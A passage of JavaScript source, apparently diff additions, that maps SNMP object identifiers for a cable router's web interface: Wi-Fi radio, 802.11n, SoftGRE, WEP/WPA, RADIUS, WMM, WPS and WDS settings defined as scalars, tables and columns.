Scalar("WiFiUseSNForPSK","1.3.6.1.4.1.4115.1.20.1.1.3.36",2); +WirelessCfg.WiFiRadioControlMode= new Scalar("WiFiRadioControlMode","1.3.6.1.4.1.4115.1.20.1.1.3.37",2); +WirelessCfg.WiFiAutoChannelTime= new Scalar("WiFiAutoChannelTime","1.3.6.1.4.1.4115.1.20.1.1.3.38",2); +WirelessCfg.WiFiUtilityCommand= new Scalar("WiFiUtilityCommand","1.3.6.1.4.1.4115.1.20.1.1.3.40",4); +WirelessCfg.WiFiUtilityCommandOutput= new Scalar("WiFiUtilityCommandOutput","1.3.6.1.4.1.4115.1.20.1.1.3.41",4); +WirelessCfg.WiFiPhysicalChannel= new Scalar("WiFiPhysicalChannel","1.3.6.1.4.1.4115.1.20.1.1.3.43",2); +WirelessCfg.WiFiTxPowerPhysical= new Scalar("WiFiTxPowerPhysical","1.3.6.1.4.1.4115.1.20.1.1.3.44",2); +WirelessCfg.WiFiShortSlotEnhanced= new Scalar("WiFiShortSlotEnhanced","1.3.6.1.4.1.4115.1.20.1.1.3.45",2); +WirelessCfg.WiFiInterferencePhyLayer= new Scalar("WiFiInterferencePhyLayer","1.3.6.1.4.1.4115.1.20.1.1.3.47",2); +WirelessCfg.WiFiInterferenceDriverLayer= new Scalar("WiFiInterferenceDriverLayer","1.3.6.1.4.1.4115.1.20.1.1.3.48",2); +WirelessCfg.WiFiChannelsInterferenceState= new Scalar("WiFiChannelsInterferenceState","1.3.6.1.4.1.4115.1.20.1.1.3.49",4); +WirelessCfg.WiFiExtensionChannel= new Scalar("WiFiExtensionChannel","1.3.6.1.4.1.4115.1.20.1.1.3.64",66); +WirelessCfg.WiFiHTTxStream= new Scalar("WiFiHTTxStream","1.3.6.1.4.1.4115.1.20.1.1.3.55",66); +WirelessCfg.WiFiHTRxStream= new Scalar("WiFiHTRxStream","1.3.6.1.4.1.4115.1.20.1.1.3.56",66); +WirelessCfg.WiFiEnableSTBC= new Scalar("WiFiEnableSTBC","1.3.6.1.4.1.4115.1.20.1.1.3.57",2); +WirelessCfg.WiFiEnableRDG= new Scalar("WiFiEnableRDG","1.3.6.1.4.1.4115.1.20.1.1.3.58",2); +WirelessCfg.WiFiIGMPSnooping= new Scalar("WiFiIGMPSnooping","1.3.6.1.4.1.4115.1.20.1.1.3.59",2); +var arWiFiCountry=WirelessCfg.WiFiCountry; +var arWiFiChannel=WirelessCfg.WiFiChannel; +var arWiFiMode=WirelessCfg.WiFiMode; +var arWiFiBGProtect=WirelessCfg.WiFiBGProtect; +var arWiFiBeaconInterval=WirelessCfg.WiFiBeaconInterval; +var arWiFiDTIMInterval=WirelessCfg.WiFiDTIMInterval; +var arWiFiTxPreamble=WirelessCfg.WiFiTxPreamble; +var arWiFiRTSThreshold=WirelessCfg.WiFiRTSThreshold; +var arWiFiFragmentThresh=WirelessCfg.WiFiFragmentThresh; +var arWiFiShortSlot=WirelessCfg.WiFiShortSlot; +var arWiFiFrameBurst=WirelessCfg.WiFiFrameBurst; +var arWiFiEnableRadio=WirelessCfg.WiFiEnableRadio; +var arWiFiTxPower=WirelessCfg.WiFiTxPower; +var arWiFiShortRetryLimit=WirelessCfg.WiFiShortRetryLimit; +var arWiFiLongRetryLimit=WirelessCfg.WiFiLongRetryLimit; +var arWiFiOutputPower=WirelessCfg.WiFiOutputPower; +var arWiFiMulticastA=WirelessCfg.WiFiMulticastA; +var arWiFiMulticastBG=WirelessCfg.WiFiMulticastBG; +var arWiFiBasicRateSet=WirelessCfg.WiFiBasicRateSet; +var arWiFiTxRate=WirelessCfg.WiFiTxRate; +var arWiFiResetDefaults=WirelessCfg.WiFiResetDefaults; +var arWiFiEnableRadioNow=WirelessCfg.WiFiEnableRadioNow; +var arWiFiCustomSSIDStr=WirelessCfg.WiFiCustomSSIDStr; +var arWiFiReset=WirelessCfg.WiFiReset; +var arWiFiUseSNForPSK=WirelessCfg.WiFiUseSNForPSK; +var arWiFiRadioControlMode=WirelessCfg.WiFiRadioControlMode; +var arWiFiAutoChannelTime=WirelessCfg.WiFiAutoChannelTime; +var arWiFiUtilityCommand=WirelessCfg.WiFiUtilityCommand; +var arWiFiUtilityCommandOutput=WirelessCfg.WiFiUtilityCommandOutput; +var arWiFiPhysicalChannel=WirelessCfg.WiFiPhysicalChannel; +var arWiFiTxPowerPhysical=WirelessCfg.WiFiTxPowerPhysical; +var arWiFiShortSlotEnhanced=WirelessCfg.WiFiShortSlotEnhanced; +var arWiFiInterferencePhyLayer=WirelessCfg.WiFiInterferencePhyLayer; +var arWiFiInterferenceDriverLayer=WirelessCfg.WiFiInterferenceDriverLayer; +var arWiFiChannelsInterferenceState=WirelessCfg.WiFiChannelsInterferenceState; +var arWiFiExtensionChannel=WirelessCfg.WiFiExtensionChannel; +var arWiFiHTTxStream=WirelessCfg.WiFiHTTxStream; +var arWiFiHTRxStream=WirelessCfg.WiFiHTRxStream; +var arWiFiEnableSTBC=WirelessCfg.WiFiEnableSTBC; +var arWiFiEnableRDG=WirelessCfg.WiFiEnableRDG; +var arWiFiIGMPSnooping=WirelessCfg.WiFiIGMPSnooping; + +var WiFi80211NSettings = new Container("WiFi80211NSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.21"); +WiFi80211NSettings.WiFi80211NBand= new Scalar("WiFi80211NBand","1.3.6.1.4.1.4115.1.20.1.1.3.21.1",2); +WiFi80211NSettings.WiFiHTMCS= new Scalar("WiFiHTMCS","1.3.6.1.4.1.4115.1.20.1.1.3.21.2",2); +WiFi80211NSettings.WiFiChannelBW= new Scalar("WiFiChannelBW","1.3.6.1.4.1.4115.1.20.1.1.3.21.3",2); +WiFi80211NSettings.WiFi80211NSideBand= new Scalar("WiFi80211NSideBand","1.3.6.1.4.1.4115.1.20.1.1.3.21.4",2); +WiFi80211NSettings.WiFiHTMode= new Scalar("WiFiHTMode","1.3.6.1.4.1.4115.1.20.1.1.3.21.5",2); +WiFi80211NSettings.WiFiGuardInterval= new Scalar("WiFiGuardInterval","1.3.6.1.4.1.4115.1.20.1.1.3.21.6",2); +WiFi80211NSettings.WiFiAMSDUEnable= new Scalar("WiFiAMSDUEnable","1.3.6.1.4.1.4115.1.20.1.1.3.21.7",2); +WiFi80211NSettings.WiFiDeclinePeerBA= new Scalar("WiFiDeclinePeerBA","1.3.6.1.4.1.4115.1.20.1.1.3.21.8",2); +WiFi80211NSettings.WiFiBlockAck= new Scalar("WiFiBlockAck","1.3.6.1.4.1.4115.1.20.1.1.3.21.9",2); +WiFi80211NSettings.WiFiNProtection= new Scalar("WiFiNProtection","1.3.6.1.4.1.4115.1.20.1.1.3.21.10",2); +var arWiFi80211NBand=WiFi80211NSettings.WiFi80211NBand; +var arWiFiHTMCS=WiFi80211NSettings.WiFiHTMCS; +var arWiFiChannelBW=WiFi80211NSettings.WiFiChannelBW; +var arWiFi80211NSideBand=WiFi80211NSettings.WiFi80211NSideBand; +var arWiFiHTMode=WiFi80211NSettings.WiFiHTMode; +var arWiFiGuardInterval=WiFi80211NSettings.WiFiGuardInterval; +var arWiFiAMSDUEnable=WiFi80211NSettings.WiFiAMSDUEnable; +var arWiFiDeclinePeerBA=WiFi80211NSettings.WiFiDeclinePeerBA; +var arWiFiBlockAck=WiFi80211NSettings.WiFiBlockAck; +var arWiFiNProtection=WiFi80211NSettings.WiFiNProtection; + + +var RouterSoftGreWanTable = new Table("RouterSoftGreWanTable", "1.3.6.1.4.1.4115.1.20.1.1.1.19.1"); +RouterSoftGreWanTable.SoftGreWanEnable = new Column("SoftGreWanEnable","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.1",2,1); +RouterSoftGreWanTable.SoftGreMappedInterface = new Column("SoftGreMappedInterface","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.2",66); +RouterSoftGreWanTable.SoftGreWanDscp = new Column("SoftGreWanDscp","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.19",2,1); +RouterSoftGreWanTable.FailoverPingCount = new Column("FailoverPingCount","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.7",2, 1); +RouterSoftGreWanTable.FailoverPingInterval = new Column("FailoverPingInterval","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.8",2, 1); +RouterSoftGreWanTable.FailoverThreshold = new Column("FailoverThreshold","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.9",2, 1); +//RouterSoftGreWanTable.DNSRetryTimer = new Column("DNSRetryTimer","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.20",2, 1); +RouterSoftGreWanTable.CircuitIdEnabled = new Column("CircuitIdEnabled","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.10",2); +RouterSoftGreWanTable.RemoteIdEnabled = new Column("RemoteIdEnabled","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.11",2); +RouterSoftGreWanTable.MaxSessions = new Column("MaxSessions","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.3",2); +RouterSoftGreWanTable.ControllerFqdn = new Column("ControllerFqdn","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.4",4); +RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType = new Column("ControllerProvisionedSecondaryIpAddressType","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.5",1); +RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress = new Column("ControllerProvisionedSecondaryIpAddress","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.6",4); +RouterSoftGreWanTable.ControllerCurrentIpAddressType = new Column("ControllerCurrentIpAddressType","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.21",1); +RouterSoftGreWanTable.ControllerCurrentIpAddress = new Column("ControllerCurrentIpAddress","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.22",4); + +var arGreWanSoftGreWanEnable=RouterSoftGreWanTable.SoftGreWanEnable; +var arGreWanSoftGreMappedInterface=RouterSoftGreWanTable.SoftGreMappedInterface; +var arGreWanSoftGreWanDscp=RouterSoftGreWanTable.SoftGreWanDscp; +var arGreWanFailoverPingCount=RouterSoftGreWanTable.FailoverPingCount; +var arGreWanFailoverPingInterval=RouterSoftGreWanTable.FailoverPingInterval; +var arGreWanFailoverThreshold=RouterSoftGreWanTable.FailoverThreshold; +//var arGreWanDNSRetryTimer=RouterSoftGreWanTable.DNSRetryTimer; +var arGreWanCircuitIdEnabled=RouterSoftGreWanTable.CircuitIdEnabled; +var arGreWanRemoteIdEnabled=RouterSoftGreWanTable.RemoteIdEnabled; +var arGreMaxSessions=RouterSoftGreWanTable.MaxSessions; +var arGreWanControllerFqdn=RouterSoftGreWanTable.ControllerFqdn; +var arGreWanControllerProvisionedSecondaryIpAddressType=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType; +var arGreWanControllerProvisionedSecondaryIpAddress=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress; +var arGreWanControllerCurrentIpAddressType=RouterSoftGreWanTable.ControllerCurrentIpAddressType; +var arGreWanControllerControllerCurrentIpAddress=RouterSoftGreWanTable.ControllerCurrentIpAddress; + +var RouterSoftGreSSIDTable = new Table("RouterSoftGreSSIDTable", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2"); +RouterSoftGreSSIDTable.SoftGreVLanId = new Column("SoftGreVLanId", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.1",66); +RouterSoftGreSSIDTable.SoftGreVLanPriority = new Column("SoftGreVLanPriority", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.2",66); + +var arGreSSIDSoftGreVLanId=RouterSoftGreSSIDTable.SoftGreVLanId; +var arGreSSIDSoftGreVLanPriority=RouterSoftGreSSIDTable.SoftGreVLanPriority; + + +var BSSTable = new Table("BSSTable", "1.3.6.1.4.1.4115.1.20.1.1.3.22"); +BSSTable.BssID = new Column("BssID","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.1",4, 1); +BSSTable.BssSSID = new Column("BssSSID","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2",4); +BSSTable.BssActive = new Column("BssActive","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.3",2); +BSSTable.BssSSIDBroadcast = new Column("BssSSIDBroadcast","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.4",2); +BSSTable.BssSecurityMode = new Column("BssSecurityMode","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5",2); +BSSTable.BssAccessMode = new Column("BssAccessMode","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.6",2); +BSSTable.BssNetworkIsolate = new Column("BssNetworkIsolate","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.7",2); +BSSTable.BssMACAccessCount = new Column("BssMACAccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.8",66); +BSSTable.BssMACAccessClear = new Column("BssMACAccessClear","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.9",2); +BSSTable.BssWMMEnable = new Column("BssWMMEnable","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.12",2); +var arBssID=BSSTable.BssID; +var arBssSSID=BSSTable.BssSSID; +var arBssActive=BSSTable.BssActive; +var arBssSSIDBroadcast=BSSTable.BssSSIDBroadcast; +var arBssSecurityMode=BSSTable.BssSecurityMode; +var arBssAccessMode=BSSTable.BssAccessMode; +var arBssNetworkIsolate=BSSTable.BssNetworkIsolate; +var arBssMACAccessCount=BSSTable.BssMACAccessCount; +var arBssMACAccessClear=BSSTable.BssMACAccessClear; +var arBssWMMEnable=BSSTable.BssWMMEnable; + +var WEPTable = new Table("WEPTable", "1.3.6.1.4.1.4115.1.20.1.1.3.23"); +WEPTable.WEPCurrentKey = new Column("WEPCurrentKey","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.1",66); +WEPTable.WEPEncryptionMode = new Column("WEPEncryptionMode","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2",2); +WEPTable.WEPPassPhrase = new Column("WEPPassPhrase","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.3",4); +var arWEPCurrentKey=WEPTable.WEPCurrentKey; +var arWEPEncryptionMode=WEPTable.WEPEncryptionMode; +var arWEPPassPhrase=WEPTable.WEPPassPhrase; + +var WEP64BitKeyTable = new Table("WEP64BitKeyTable", "1.3.6.1.4.1.4115.1.20.1.1.3.24"); +WEP64BitKeyTable.WEP64BitKeyIndex = new Column("WEP64BitKeyIndex","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.1",2); +WEP64BitKeyTable.WEP64BitKeyValue = new Column("WEP64BitKeyValue","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2",4); +WEP64BitKeyTable.WEP64BitKeyStatus = new Column("WEP64BitKeyStatus","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.3",2); +var arWEP64BitKeyIndex=WEP64BitKeyTable.WEP64BitKeyIndex; +var arWEP64BitKeyValue=WEP64BitKeyTable.WEP64BitKeyValue; +var arWEP64BitKeyStatus=WEP64BitKeyTable.WEP64BitKeyStatus; + +var WEP128BitKeyTable = new Table("WEP128BitKeyTable", "1.3.6.1.4.1.4115.1.20.1.1.3.25"); +WEP128BitKeyTable.WEP128BitKeyIndex = new Column("WEP128BitKeyIndex","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.1",2); +WEP128BitKeyTable.WEP128BitKeyValue = new Column("WEP128BitKeyValue","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2",4); +WEP128BitKeyTable.WEP128BitKeyStatus = new Column("WEP128BitKeyStatus","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.3",2); +var arWEP128BitKeyIndex=WEP128BitKeyTable.WEP128BitKeyIndex; +var arWEP128BitKeyValue=WEP128BitKeyTable.WEP128BitKeyValue; +var arWEP128BitKeyStatus=WEP128BitKeyTable.WEP128BitKeyStatus; + +var WPATable = new Table("WPATable", "1.3.6.1.4.1.4115.1.20.1.1.3.26"); +WPATable.WPAAlgorithm = new Column("WPAAlgorithm","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1",2); +WPATable.WPAPreSharedKey = new Column("WPAPreSharedKey","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2",4); +WPATable.WPAGroupRekeyInterval = new Column("WPAGroupRekeyInterval","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.3",66); +WPATable.WPAReAuthInterval = new Column("WPAReAuthInterval","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.4",66); +WPATable.WPAPreAuthEnable = new Column("WPAPreAuthEnable","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.5",2); +var arWPAAlgorithm=WPATable.WPAAlgorithm; +var arWPAPreSharedKey=WPATable.WPAPreSharedKey; +var arWPAGroupRekeyInterval=WPATable.WPAGroupRekeyInterval; +var arWPAReAuthInterval=WPATable.WPAReAuthInterval; +var arWPAPreAuthEnable=WPATable.WPAPreAuthEnable; + +var RadiusTable = new Table("RadiusTable", "1.3.6.1.4.1.4115.1.20.1.1.3.27"); +RadiusTable.RadiusAddressType = new Column("RadiusAddressType","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.1",2); +RadiusTable.RadiusAddress = new Column("RadiusAddress","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.2",4, 1); +RadiusTable.RadiusPort = new Column("RadiusPort","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.3",66); +RadiusTable.RadiusKey = new Column("RadiusKey","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.4",4); +RadiusTable.RadiusReAuthInterval = new Column("RadiusReAuthInterval","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.5",66); +var arRadiusAddressType=RadiusTable.RadiusAddressType; +var arRadiusAddress=RadiusTable.RadiusAddress; +var arRadiusPort=RadiusTable.RadiusPort; +var arRadiusKey=RadiusTable.RadiusKey; +var arRadiusReAuthInterval=RadiusTable.RadiusReAuthInterval; + +var MACAccessTable = new Table("MACAccessTable", "1.3.6.1.4.1.4115.1.20.1.1.3.28"); +MACAccessTable.MACAccessIndex = new Column("MACAccessIndex","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.1",2); +MACAccessTable.MACAccessAddr = new Column("MACAccessAddr","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.2",4, 1); +MACAccessTable.MACAccessStatus = new Column("MACAccessStatus","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.3",2); +MACAccessTable.MACAccessDeviceName = new Column("MACAccessDeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.4",4); +var arMACAccessIndex=MACAccessTable.MACAccessIndex; +var arMACAccessAddr=MACAccessTable.MACAccessAddr; +var arMACAccessStatus=MACAccessTable.MACAccessStatus; +var arMACAccessDeviceName=MACAccessTable.MACAccessDeviceName; + +var WMMCfg = new Container("WMMCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.29"); +WMMCfg.WMMEnable= new Scalar("WMMEnable","1.3.6.1.4.1.4115.1.20.1.1.3.29.1",2); +WMMCfg.WMMNoAck= new Scalar("WMMNoAck","1.3.6.1.4.1.4115.1.20.1.1.3.29.2",2); +WMMCfg.WMMAPSD= new Scalar("WMMAPSD","1.3.6.1.4.1.4115.1.20.1.1.3.29.3",2); +var arWMMEnable=WMMCfg.WMMEnable; +var arWMMNoAck=WMMCfg.WMMNoAck; +var arWMMAPSD=WMMCfg.WMMAPSD; + +var WMM50Cfg = new Container("WMM50Cfg", "1.3.6.1.4.1.4115.1.20.1.1.3.63"); +WMM50Cfg.WMM50Enable= new Scalar("WMM50Enable","1.3.6.1.4.1.4115.1.20.1.1.3.63.1",2); +WMM50Cfg.WMM50NoAck= new Scalar("WMM50NoAck","1.3.6.1.4.1.4115.1.20.1.1.3.63.2",2); +WMM50Cfg.WMM50APSD= new Scalar("WMM50APSD","1.3.6.1.4.1.4115.1.20.1.1.3.63.3",2); +var arWMM50Enable=WMM50Cfg.WMM50Enable; +var arWMM50NoAck=WMM50Cfg.WMM50NoAck; +var arWMM50APSD=WMM50Cfg.WMM50APSD; + +var WMMEDCAAPTable = new Table("WMMEDCAAPTable", "1.3.6.1.4.1.4115.1.20.1.1.3.29.4"); +WMMEDCAAPTable.WMMEDCAAPIndex = new Column("WMMEDCAAPIndex","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.1",2); +WMMEDCAAPTable.WMMEDCAAPCWmin = new Column("WMMEDCAAPCWmin","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.2",66); +WMMEDCAAPTable.WMMEDCAAPCWmax = new Column("WMMEDCAAPCWmax","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.3",66); +WMMEDCAAPTable.WMMEDCAAPAIFSN = new Column("WMMEDCAAPAIFSN","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.4",66); +WMMEDCAAPTable.WMMEDCAAPTxOpBLimit = new Column("WMMEDCAAPTxOpBLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.5",66); +WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit = new Column("WMMEDCAAPTxOpAGLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.6",66); +WMMEDCAAPTable.WMMEDCAAPAdmitCont = new Column("WMMEDCAAPAdmitCont","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.7",2); +WMMEDCAAPTable.WMMEDCAAPDiscardOld = new Column("WMMEDCAAPDiscardOld","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.8",2); +var arWMMEDCAAPIndex=WMMEDCAAPTable.WMMEDCAAPIndex; +var arWMMEDCAAPCWmin=WMMEDCAAPTable.WMMEDCAAPCWmin; +var arWMMEDCAAPCWmax=WMMEDCAAPTable.WMMEDCAAPCWmax; +var arWMMEDCAAPAIFSN=WMMEDCAAPTable.WMMEDCAAPAIFSN; +var arWMMEDCAAPTxOpBLimit=WMMEDCAAPTable.WMMEDCAAPTxOpBLimit; +var arWMMEDCAAPTxOpAGLimit=WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit; +var arWMMEDCAAPAdmitCont=WMMEDCAAPTable.WMMEDCAAPAdmitCont; +var arWMMEDCAAPDiscardOld=WMMEDCAAPTable.WMMEDCAAPDiscardOld; + +var WMMEDCASTATable = new Table("WMMEDCASTATable", "1.3.6.1.4.1.4115.1.20.1.1.3.29.5"); +WMMEDCASTATable.WMMEDCASTAIndex = new Column("WMMEDCASTAIndex","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.1",2); +WMMEDCASTATable.WMMEDCASTACWmin = new Column("WMMEDCASTACWmin","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.2",66); +WMMEDCASTATable.WMMEDCASTACWmax = new Column("WMMEDCASTACWmax","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.3",66); +WMMEDCASTATable.WMMEDCASTAAIFSN = new Column("WMMEDCASTAAIFSN","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.4",66); +WMMEDCASTATable.WMMEDCASTATxOpBLimit = new Column("WMMEDCASTATxOpBLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.5",66); +WMMEDCASTATable.WMMEDCASTATxAGLimit = new Column("WMMEDCASTATxAGLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.6",66); +var arWMMEDCASTAIndex=WMMEDCASTATable.WMMEDCASTAIndex; +var arWMMEDCASTACWmin=WMMEDCASTATable.WMMEDCASTACWmin; +var arWMMEDCASTACWmax=WMMEDCASTATable.WMMEDCASTACWmax; +var arWMMEDCASTAAIFSN=WMMEDCASTATable.WMMEDCASTAAIFSN; +var arWMMEDCASTATxOpBLimit=WMMEDCASTATable.WMMEDCASTATxOpBLimit; +var arWMMEDCASTATxAGLimit=WMMEDCASTATable.WMMEDCASTATxAGLimit; + +var WPSCfg = new Container("WPSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.30"); +WPSCfg.WpsMode= new Scalar("WpsMode","1.3.6.1.4.1.4115.1.20.1.1.3.30.1",2); +WPSCfg.WpsConfigState= new Scalar("WpsConfigState","1.3.6.1.4.1.4115.1.20.1.1.3.30.2",2); +WPSCfg.WpsDevicePIN= new Scalar("WpsDevicePIN","1.3.6.1.4.1.4115.1.20.1.1.3.30.3",4); +WPSCfg.WpsDeviceName= new Scalar("WpsDeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.30.4",4); +WPSCfg.WpsModelName= new Scalar("WpsModelName","1.3.6.1.4.1.4115.1.20.1.1.3.30.5",4); +WPSCfg.WpsMfg= new Scalar("WpsMfg","1.3.6.1.4.1.4115.1.20.1.1.3.30.6",4); +WPSCfg.WpsResultStatus= new Scalar("WpsResultStatus","1.3.6.1.4.1.4115.1.20.1.1.3.30.7",2); +WPSCfg.WpsStatus= new Scalar("WpsStatus","1.3.6.1.4.1.4115.1.20.1.1.3.30.8",2); +WPSCfg.WpsConfigTimeout= new Scalar("WpsConfigTimeout","1.3.6.1.4.1.4115.1.20.1.1.3.30.9",2); +WPSCfg.WpsSTAPin= new Scalar("WpsSTAPin","1.3.6.1.4.1.4115.1.20.1.1.3.30.10",4); +WPSCfg.WpsPushButton= new Scalar("WpsPushButton","1.3.6.1.4.1.4115.1.20.1.1.3.30.11",2); +WPSCfg.WpsBoardNum= new Scalar("WpsBoardNum","1.3.6.1.4.1.4115.1.20.1.1.3.30.12",4); +WPSCfg.WpsModelNum= new Scalar("WpsModelNum","1.3.6.1.4.1.4115.1.20.1.1.3.30.13",4); +WPSCfg.WpsUUID= new Scalar("WpsUUID","1.3.6.1.4.1.4115.1.20.1.1.3.30.14",4); +var arWpsMode=WPSCfg.WpsMode; +var arWpsConfigState=WPSCfg.WpsConfigState; +var arWpsDevicePIN=WPSCfg.WpsDevicePIN; +var arWpsDeviceName=WPSCfg.WpsDeviceName; +var arWpsModelName=WPSCfg.WpsModelName; +var arWpsMfg=WPSCfg.WpsMfg; +var arWpsResultStatus=WPSCfg.WpsResultStatus; +var arWpsStatus=WPSCfg.WpsStatus; +var arWpsConfigTimeout=WPSCfg.WpsConfigTimeout; +var arWpsSTAPin=WPSCfg.WpsSTAPin; +var arWpsPushButton=WPSCfg.WpsPushButton; +var arWpsBoardNum=WPSCfg.WpsBoardNum; +var arWpsModelNum=WPSCfg.WpsModelNum; +var arWpsUUID=WPSCfg.WpsUUID; + +var WPSCfgEx = new Container("WPSCfgEx", "1.3.6.1.4.1.4115.1.20.1.1.3.30.15"); +WPSCfgEx.WpsMethodPin= new Scalar("WpsMethodPin","1.3.6.1.4.1.4115.1.20.1.1.3.30.15.2",2); +var arWpsMethodPin=WPSCfgEx.WpsMethodPin; + + +var WPS50Cfg = new Container("WPS50Cfg", "1.3.6.1.4.1.4115.1.20.1.1.3.65"); +WPS50Cfg.Wps50Mode= new Scalar("Wps50Mode","1.3.6.1.4.1.4115.1.20.1.1.3.65.1",2); +WPS50Cfg.Wps50ConfigState= new Scalar("Wps50ConfigState","1.3.6.1.4.1.4115.1.20.1.1.3.65.2",2); +WPS50Cfg.Wps50DevicePIN= new Scalar("Wps50DevicePIN","1.3.6.1.4.1.4115.1.20.1.1.3.65.3",4,1); +WPS50Cfg.Wps50DeviceName= new Scalar("Wps50DeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.65.4",4); +WPS50Cfg.Wps50ModelName= new Scalar("Wps50ModelName","1.3.6.1.4.1.4115.1.20.1.1.3.65.5",4); +WPS50Cfg.Wps50Mfg= new Scalar("Wps50Mfg","1.3.6.1.4.1.4115.1.20.1.1.3.65.6",4); +WPS50Cfg.Wps50ResultStatus= new Scalar("Wps50ResultStatus","1.3.6.1.4.1.4115.1.20.1.1.3.65.7",2); +WPS50Cfg.Wps50Status= new Scalar("Wps50Status","1.3.6.1.4.1.4115.1.20.1.1.3.65.8",2); +WPS50Cfg.Wps50ConfigTimeout= new Scalar("Wps50ConfigTimeout","1.3.6.1.4.1.4115.1.20.1.1.3.65.9",2); +WPS50Cfg.Wps50STAPin= new Scalar("Wps50STAPin","1.3.6.1.4.1.4115.1.20.1.1.3.65.10",4,1); +WPS50Cfg.Wps50PushButton= new Scalar("Wps50PushButton","1.3.6.1.4.1.4115.1.20.1.1.3.65.11",2); +WPS50Cfg.Wps50UUID= new Scalar("Wps50UUID","1.3.6.1.4.1.4115.1.20.1.1.3.65.14",4,1); +var arWps50Mode=WPS50Cfg.Wps50Mode; +var arWps50ConfigState=WPS50Cfg.Wps50ConfigState; +var arWps50DevicePIN=WPS50Cfg.Wps50DevicePIN; +var arWps50DeviceName=WPS50Cfg.Wps50DeviceName; +var arWps50ModelName=WPS50Cfg.Wps50ModelName; +var arWps50Mfg=WPS50Cfg.Wps50Mfg; +var arWps50ResultStatus=WPS50Cfg.Wps50ResultStatus; +var arWps50Status=WPS50Cfg.Wps50Status; +var arWps50ConfigTimeout=WPS50Cfg.Wps50ConfigTimeout; +var arWps50STAPin=WPS50Cfg.Wps50STAPin; +var arWps50PushButton=WPS50Cfg.Wps50PushButton; +var arWps50UUID=WPS50Cfg.Wps50UUID; + +var WPS50CfgEx = new Container("WPSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.65.15"); +WPS50CfgEx.WpsMethodPin= new Scalar("WpsMode","1.3.6.1.4.1.4115.1.20.1.1.3.65.15.2",2); +var arWps50MethodPin=WPS50CfgEx.WpsMethodPin; + + +var WDSCfg = new Container("WDSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.31"); +WDSCfg.WDSEnable= new Scalar("WDSEnable","1.3.6.1.4.1.4115.1.20.1.1.3.31.1",2); +WDSCfg.WDSTableFreeIdx= new Scalar("WDSTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.3.31.2",2); +var arWDSEnable=WDSCfg.WDSEnable; +var 